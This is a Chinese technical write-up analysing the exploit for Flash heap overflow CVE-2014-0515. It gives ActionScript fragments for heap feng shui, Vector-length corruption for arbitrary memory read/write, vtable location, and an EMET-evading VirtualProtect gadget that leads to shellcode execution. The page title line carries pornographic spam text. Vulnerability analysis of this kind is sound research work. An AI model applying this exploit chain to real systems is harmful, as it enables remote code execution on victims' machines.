亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

Flash Vector漏洞利用的蛻變

背景介紹

自Haifei Li公開了CVE-2013-0634利用方法[3],2014年瀏覽器框架內(nèi)觸發(fā)0day的漏洞都開始使用這種利用技巧,包括CVE-2014-0322[4],CVE-2014-1776[5],CVE-2014-0515等,相比最初的利用,從這些散落的0day上可以看到一次次進(jìn)步。直到CVE-2014-0515,修改Vector長(zhǎng)度實(shí)現(xiàn)漏洞利用的方法達(dá)到前所未有的簡(jiǎn)捷。而這種簡(jiǎn)捷背后實(shí)則是對(duì)Flash數(shù)據(jù)和代碼結(jié)構(gòu)的了然于胸。

在開始深入分析CVE-2014-0515的利用技巧之前,先簡(jiǎn)單介紹一下修改Vector長(zhǎng)度實(shí)現(xiàn)繞過ASLR、DEP等保護(hù)的原理。首先,這種方法對(duì)漏洞類型并沒有太多要求,Heap Overflow、Use After Free、Integer Overflow等都有可能使用它完成利用。利用的關(guān)鍵在于控制初始階段溢出或占位的堆數(shù)據(jù),使得漏洞觸發(fā)時(shí):

能夠篡改坐落在堆上的Vector結(jié)構(gòu)起始部分的長(zhǎng)度字段。它依賴于提前部署恰當(dāng)?shù)亩呀Y(jié)構(gòu),讓Vector分布在可能被改寫的位置,如發(fā)生UAF對(duì)象的附近,某個(gè)特定地址等。

保證漏洞觸發(fā)時(shí),除了修改Vector長(zhǎng)度外,其他內(nèi)存讀寫操作都不會(huì)觸發(fā)異常,正常返回,這樣才有機(jī)會(huì)繼續(xù)調(diào)用Flash完成余下的利用工作。

傳統(tǒng)較難利用的內(nèi)存破壞型漏洞借此可轉(zhuǎn)化為任意內(nèi)存讀寫型的漏洞。

目前已經(jīng)公布了多個(gè)版本的CVE-2014-0515分析報(bào)告,但他們對(duì)其利用過程的闡述略過了部分關(guān)鍵技術(shù)細(xì)節(jié),如長(zhǎng)度和間隔的數(shù)值選取,搜索使用的偏移等。其原因可能是分析者對(duì)于Flash堆結(jié)構(gòu)不夠了解,不能解讀這些數(shù)值背后的含義。經(jīng)過大量的實(shí)驗(yàn)總結(jié),本文會(huì)深入分析Flash堆的特征結(jié)構(gòu),全面解讀CVE-2014-0515的漏洞利用細(xì)節(jié)。

本文分析時(shí)所使用的漏洞利用代碼是Rapid7根據(jù)原始樣本整理發(fā)布的,查看地址:http://t.cn/RPPaWrf

CVE-2014-0515

CVE-2014-0515是Flash的一個(gè)堆溢出漏洞,雖然從細(xì)節(jié)上看包括Pixel Blender字節(jié)碼的覆蓋和越界寫兩部分,但最終效果和一個(gè)普通的堆溢出漏洞完全相同。在不糾纏于漏洞自身原理,著眼于利用技巧的指導(dǎo)思想下,后文將簡(jiǎn)單地將漏洞描述為堆溢出。

當(dāng)Flash的ActionScript代碼嘗試通過加載一個(gè)外部的二進(jìn)制文件(Pixel Blender的字節(jié)碼文件)創(chuàng)建用于圖形渲染的Shader對(duì)象時(shí)發(fā)生溢出。Shader對(duì)象位于堆,會(huì)復(fù)寫其后的內(nèi)存空間。通過精心部署堆結(jié)構(gòu),可以使得Shader對(duì)象的堆溢出剛好復(fù)寫其后Vector對(duì)象的長(zhǎng)度字段,并正常返回。利用超長(zhǎng)的Vector,可以任意讀寫內(nèi)存實(shí)現(xiàn)代碼執(zhí)行。為了觸發(fā)漏洞,下文分析時(shí)使用Flash的版本為13.0.0.182。

Heap Fengshui

Shader對(duì)象占用了0x90字節(jié)的內(nèi)存,而對(duì)象初始化實(shí)際寫入0x98字節(jié)。為了保證多寫入的0x08字節(jié)剛好覆蓋到臨近的Vector對(duì)象,進(jìn)行Heap Spray時(shí)需要提前在Vector對(duì)象間預(yù)留0x90的空位,使得新分配的Shader對(duì)象落入其中。為了完成這一目標(biāo),需要減少內(nèi)存碎片,通過使用小Vector將低地址的碎片化內(nèi)存占滿,保證新分配內(nèi)存都位于高地址段、大塊的可控內(nèi)存區(qū)域:

var array_length:uint = 0x10000;

var vector_size:uint = 34;

var array:Array = new Array();

i = 0;

while (i < array_length)

{

array[i] = new Vector.<int>(1);

i++;

};

接下來,開始噴射連續(xù)大塊的內(nèi)存,這些內(nèi)存將在高地址段連續(xù)分布,每塊內(nèi)存都為0x90大小(Vector.<int>包含一個(gè)0x08大小的VectorHeader,其中VectorHeader的前0x04字節(jié)就是一直在說的長(zhǎng)度字段,所以34*4+0x08=0x90,和Shader對(duì)象內(nèi)存大小相當(dāng)):

i = 0;

while (i < array_length)

{

array[i] = new Vector.<int>(vector_size);

i++;

};

i = 0;

while (i < array_length)

{

array[i].length = 0;

i++;

};

接下來為了保證復(fù)寫Vector長(zhǎng)度字段時(shí)更容易檢測(cè),提前將所有Vector長(zhǎng)度設(shè)置為0,這樣一旦發(fā)生復(fù)寫,只需要檢測(cè)哪個(gè)Vector的長(zhǎng)度大于0即可,長(zhǎng)度改寫為0前后的內(nèi)存示意如圖1和圖2所示:

Flash Vector漏洞利用技巧的蛻變1

圖1. 長(zhǎng)度改寫前的內(nèi)存分布圖

Flash Vector漏洞利用技巧的蛻變2

圖2. 長(zhǎng)度修改為0后的內(nèi)存分布圖

關(guān)鍵的部分來了,要在這些大片的內(nèi)存中為即將初始化的Shader對(duì)象預(yù)留0x90大小的孔洞:

i = 0x0200;

while (i < array_length)

{

array[(i – (2 * (j % 2)))].length = 0x0100;

i = (i + 28);

j++;

};

其實(shí)上面的代碼包含的信息量很大,但目前已有的分析中都簡(jiǎn)單略過。在已經(jīng)分配的大片內(nèi)存中制造孔洞的核心思想是將一些Vector長(zhǎng)度設(shè)置為大于原始長(zhǎng)度(vector_size:34)的0x100。修改長(zhǎng)度操作的結(jié)果是,原0x90內(nèi)存區(qū)域被釋放,對(duì)應(yīng)的array[i]會(huì)指向一片新申請(qǐng)的內(nèi)存區(qū)域。原始的0x90區(qū)域就形成了孔洞并隨后被Shader對(duì)象占據(jù),發(fā)生堆溢出時(shí),array[i+1]的長(zhǎng)度字段會(huì)被復(fù)寫。原理直接明快,但具體實(shí)現(xiàn)細(xì)節(jié)上有兩個(gè)有趣的問題:從哪個(gè)地址開始留孔洞以及孔洞的間隔是多少。

第一個(gè)問題比較容易回答,通過多組實(shí)驗(yàn)數(shù)據(jù)的觀察,當(dāng)i>0x200時(shí),array[i]幾乎都是新申請(qǐng)Vector內(nèi)存,當(dāng)中不包含其他可能打斷Vector內(nèi)存的對(duì)象結(jié)構(gòu)體。不被打斷、連續(xù)分配直接決定漏洞利用成功與否。試想如果由于其他對(duì)象的亂入,堆溢出復(fù)寫的臨近內(nèi)存不是預(yù)料中的Vector,那后面利用技巧就都是無稽之談了。

回答第二個(gè)問題需要實(shí)際觀察堆的分配形式。Flash在管理自身堆內(nèi)存時(shí)的策略導(dǎo)致這些0x90的小塊內(nèi)存最后要對(duì)齊到0x1000。每個(gè)0x1000內(nèi)存塊起始包含一個(gè)0x20大小的BlockHeader。0x1000里面一共可以包含28個(gè)0x90的內(nèi)存塊,而28剛好是上面漏洞利用代碼中設(shè)定的孔洞間隔。這樣的間隔可以保證0x1000內(nèi)存中有且只有一個(gè)孔洞,這點(diǎn)是后面快速計(jì)算真實(shí)內(nèi)存地址的充分條件。

至此,Heap Fengshui已經(jīng)將堆排布成了所需結(jié)構(gòu),高地址有連續(xù)分布的Vector以及多個(gè)孔洞,圖3是內(nèi)存的分布示意圖:

Flash Vector漏洞利用技巧的蛻變3

圖3. Heap Fengshui后的內(nèi)存示意圖,紅色是每個(gè)0x1000內(nèi)存塊的BlockHeader,綠色的區(qū)塊表示孔洞,每個(gè)0x1000內(nèi)包28個(gè)區(qū)塊。上述結(jié)構(gòu)作為基本的重復(fù)單元覆蓋大片內(nèi)存。

觸發(fā)漏洞并確定Vector的真實(shí)地址

經(jīng)過上述一系列準(zhǔn)備工作,堆結(jié)構(gòu)已經(jīng)就緒,現(xiàn)在基于畸形字節(jié)碼創(chuàng)建的Shader對(duì)象會(huì)剛好落入圖3中綠色0x90大小的區(qū)塊中。

shader.byteCode = (new Shad() as ByteArray);

由于堆溢出,array[i+1]的0x08大小的Header會(huì)被復(fù)寫,使得array[i+1]的長(zhǎng)度從0變?yōu)橐粋€(gè)大于34的數(shù)值。下面只需要遍歷全部的Vector就可以很容易找到這個(gè)array[i+1],也即是下面的array[corrupted_vector_idx]:

while (i++ < array_length)

{

if (array[i].length > 0x0100)

{

corrupted_vector_idx = i;

break;

}

}

借助這個(gè)被覆蓋長(zhǎng)度的Vector可以改寫array[corrupted_vector_idx+1]的長(zhǎng)度字段為0x40000001,使得array[corrupted_vector_idx+1]也就是tweaked_vector具備對(duì)整個(gè)內(nèi)存空間的讀寫能力:

array[corrupted_vector_idx][vector_size] = 0x40000001;

tweaked_vector = array[(corrupted_vector_idx + 1)];

接下來,為了可以準(zhǔn)確定位要改寫的內(nèi)存片段,需要搜索tweak_vector的真實(shí)內(nèi)存地址,可是搜索真實(shí)內(nèi)存地址的方法在現(xiàn)有的分析報(bào)告中被完全忽略。在Heap Fengshui一節(jié)介紹Flash堆管理時(shí)曾提及,每0x1000會(huì)包含一個(gè)0x20大小的BlockHeader,而搜索真實(shí)地址的方法就隱藏當(dāng)中。

如圖2所示,BlockHeader+0x10為0x0090001C,這個(gè)字段表達(dá)的含義為0x1000中共包含0x1C(28)個(gè)0x90大小的內(nèi)存塊。對(duì)比圖3,由于0x1000釋放了一個(gè)0x90的內(nèi)存塊使得BlockHeader+0x10變?yōu)?x0090001B。BlockHeader第一個(gè)字段會(huì)記錄0x1000內(nèi)被釋放的最后一個(gè)區(qū)塊起始地址,所以如果能夠確保0x1000中只有一個(gè)被釋放的區(qū)塊,則該區(qū)塊的地址會(huì)記錄在0x1000起始的位置。當(dāng)Shader對(duì)象創(chuàng)建時(shí),它所屬0x1000內(nèi)存的BlockHeader+0x10會(huì)暫時(shí)變?yōu)?x0090001C。但由于Shader對(duì)象創(chuàng)建時(shí)解析字節(jié)碼發(fā)生堆溢出后從內(nèi)存釋放,BlockHeader+0x10再次變?yōu)?x0090001B,BlockHeader起始仍舊記錄著被釋放0x90塊起始地址。

所以,搜索的tweak_vector真實(shí)地址可以概括為:利用tweak_vector向低地址步進(jìn)查看內(nèi)存找到0x0090001B,再向前0x10個(gè)字節(jié)就可以找到一個(gè)地址,該地址即為0x1000中被釋放的0x90塊的地址。它和tweak_vector第一個(gè)元素的地址相差0x90*2+8:

while (true)

{

val = tweaked_vector[(0x40000000 – i)];

if (val == 0x90001B) break;

i++;

};

tweaked_vector_address = 0;

tweaked_vector_address = ((tweaked_vector[((0x40000000 – i) – 4)] + (8 * (vector_size + 2))) + 8);

相比以往的利用過程,雖然獲得tweak_vector和其真實(shí)地址都是必經(jīng)之路,但CVE-2014-0515走得最為簡(jiǎn)潔明快,源于作者對(duì)Flash堆的深入理解。至此一個(gè)堆溢出漏洞就被成功轉(zhuǎn)化為一個(gè)任意內(nèi)存讀寫漏洞。

準(zhǔn)備所需的指令地址

在獲得內(nèi)存任意讀寫的能力以后,原則上講可以有無數(shù)種執(zhí)行shellcode的方法,但為了提高執(zhí)行效率減少開發(fā)投入,此前的利用方案仍然是參考了傳統(tǒng)ROP框架:搜索StackPivot指令,VirtualProtect地址,構(gòu)造ROP,篡改flash.media.Sound對(duì)象的虛函數(shù)表指向ROP鏈,調(diào)用Sound.toString()開啟shellcode所在內(nèi)存的可執(zhí)行權(quán)限,篡改虛函數(shù)表指向shellcode,再次Sound.toString()即可執(zhí)行代碼。

上述思路在實(shí)現(xiàn)時(shí)仍然需要搜索內(nèi)存找到Sound對(duì)象的虛函數(shù)表,步驟越繁瑣越可能出現(xiàn)非法操作等不穩(wěn)定因素。并且由于仍然通過直接調(diào)用VirtualProtect來開啟內(nèi)存可執(zhí)行權(quán)限,漏洞利用代碼易被EMET等防護(hù)軟件察覺。

相比之下,CVE-2014-0515的做法有了諸多改進(jìn)。首先,它選用了FileReference對(duì)象的虛函數(shù)表作為觸發(fā)開關(guān),并利用堆的BlockHeader來直接定位spray的FileReference對(duì)象,而不是暴力搜索。其次,使用Flash模塊中已有的代碼片段開啟內(nèi)存可執(zhí)行權(quán)限,可以完全規(guī)避現(xiàn)有EMET的檢測(cè)策略。

在討論快速搜索spray的內(nèi)存對(duì)象前,首先對(duì)Flash堆的知識(shí)再做一些補(bǔ)充。BlockHeader+0x1C會(huì)指向一個(gè)0x24大小的結(jié)構(gòu)體,該結(jié)構(gòu)體標(biāo)識(shí)當(dāng)前堆的屬性,如區(qū)塊大小,個(gè)數(shù),范圍等。有趣的是,這個(gè)0x24大小的結(jié)構(gòu)體同樣位于一個(gè)連續(xù)排布的數(shù)組空間中,向上或向下移動(dòng)0x24偏移就會(huì)指向另一個(gè)堆描述的結(jié)構(gòu)體,這些結(jié)構(gòu)體之間是按描述的堆單元區(qū)塊大小順序分布。為了方便敘述,暫時(shí)命名這個(gè)0x24的結(jié)構(gòu)體為Heapcomstruct。

Heapcomstruct+0x08是其對(duì)應(yīng)堆的區(qū)塊大小,此前Heap Fengshui章節(jié)中大量spray的Vector,其Heapcomstruct+0x08數(shù)值為0x90。Heapcomstruct+0x0C指向第一個(gè)大小為Heapcomstruct+0x08的堆內(nèi)存起始地址。

通過BlockHeader和Heapcomstruct可以快速找到FileReference對(duì)象在內(nèi)存中的位置,先在內(nèi)存中spray一組FileReference對(duì)象實(shí)例:

i = 0;

while (i < 64)

{

file_reference_array[i] = new FileReference();

i++;

};

接下來利用tweak_vector地址,找到對(duì)齊到0x1000的BlockHeader,進(jìn)而獲得其0x1C偏移處的Heapcomstruct,根據(jù)大小排序向下0x24步進(jìn),找到區(qū)塊大小為0x2A0對(duì)應(yīng)的堆地址(FileReference對(duì)象實(shí)例的大小為0x2A0字節(jié))。為了進(jìn)一步確定大小為0x2A0的區(qū)塊內(nèi)存儲(chǔ)的是FileReference對(duì)象,還可以根據(jù)對(duì)象空間特征佐證,如0x180偏移處為0xFFFFFFFF:

// vector: vector with tweaked length

// address: memory address of vector data

function find_file_ref_vtable(vector:*, address:*):uint{

var allocation:uint = read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));

var allocation_size:uint;

while (true)

{

allocation_size = read_memory(vector, address, (allocation + 8));

if (allocation_size == 0x2a0) break;

if (allocation_size < 0x2a0)

{

allocation = (allocation + 0x24); // next allocation

} else

{

allocation = (allocation – 0x24); // prior allocation

};

};

var allocation_contents:uint = read_memory(vector, address, (allocation + 0xc));

while (true)

{

if (read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;

if (read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;

allocation_contents = read_memory(vector, address, (allocation_contents + 8));

};

return (allocation_contents);

}

一旦找到FileReference對(duì)象所在的0x1000堆塊,越過0x20的BlockHeader,F(xiàn)ileReference對(duì)象的虛函數(shù)表地址就映入眼簾了。

而搜索Flash中開啟可執(zhí)行屬性代碼片段時(shí)時(shí)仍然是以Heapcomstruct作為起點(diǎn)。Heapcomstruct位于數(shù)據(jù)段(.data),而開啟可執(zhí)行屬性的代碼片段位于代碼段,所以需要反向暴力搜索。Flash模塊的內(nèi)存結(jié)構(gòu)如圖4所示:

Flash Vector漏洞利用技巧的蛻變4

圖4. Flash模塊的內(nèi)存結(jié)構(gòu)

由于內(nèi)存的連續(xù)分布,因此反向搜索時(shí)可以保證不會(huì)因出現(xiàn)讀寫未知內(nèi)存而出現(xiàn)異常中斷利用代碼的執(zhí)行。用于開啟內(nèi)存可執(zhí)行屬性的代碼片段如圖5所示:

Flash Vector漏洞利用技巧的蛻變5

圖5. 位于Flash代碼段,可開啟可執(zhí)行屬性的代碼片段

該片段能夠給[eax-4]為起始,[eax-8]長(zhǎng)的內(nèi)存空間賦予可執(zhí)行屬性。并且該段代碼調(diào)用前后保持了堆棧平衡,非常適合在力求穩(wěn)定的利用代碼中使用。通過暴力搜索得到這段代碼地址后,所有執(zhí)行代碼的先決條件都已具備。

執(zhí)行shellcode

shellcode存放在一塊新申請(qǐng)的內(nèi)存中(多組0x1000大小的噴射),而定位這些堆塊地址的方法和前面搜索FileReference實(shí)例的方法完全相同,因此不再贅述。觸發(fā)執(zhí)行的方法是替換FileReference的虛函數(shù)表為tweak_vector附近的地址:

tweaked_vector[7] = (memory_protect_ptr + 0); // VirtualProtect call

tweaked_vector[0] = 0x1000; // Length

tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address

write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));

虛表指向了tweak_vector[2],而FileReference.cancel()函數(shù)偏移為0x14。當(dāng)替換后再次執(zhí)行虛函數(shù),tweak_vector[2+0x14/4]=tweak_vector[7]地址將作為被執(zhí)行的片段,也即是開啟內(nèi)存可執(zhí)行屬性的代碼片段。由于虛函數(shù)調(diào)用使用eax作為尋址寄存器,因此進(jìn)入虛函數(shù)前,eax指向tweak[2],所以[eax-4],[eax-8]剛好指向tweak_vector[1]和tweak_vector[0],也即兩個(gè)決定開啟地址的參數(shù)。

最后把shellcode地址賦給tweak_vector[7],再次執(zhí)行FileReference.cancel()就可以執(zhí)行預(yù)定代碼了.如果shellcode能夠保持堆棧平衡,并在結(jié)束直接ret返回,整個(gè)內(nèi)存將完好如初,漏洞利用代碼將如幽靈般閃現(xiàn),無人知曉。

結(jié)語

本文重點(diǎn)分析了CVE-2014-0515的漏洞利用過程,并借此闡述了一些未被公開過的Flash堆管理的結(jié)構(gòu)體。對(duì)Flash逆向分析的深入使得漏洞利用更為簡(jiǎn)潔明快,代碼也更加精巧,也許在不久之后Flash也會(huì)誕生如IE開啟SafeMode般的利用代碼。

參考資料

[1] Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit

[2] Technical Analysis of CVE-2014-0515 Adobe Flash Player Exploit

[3] Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack

[4] Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website

[5] New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks

上一篇:Android 9patch圖片解析堆溢出漏洞分析

下一篇:IE漏洞利用之信息泄漏技術(shù)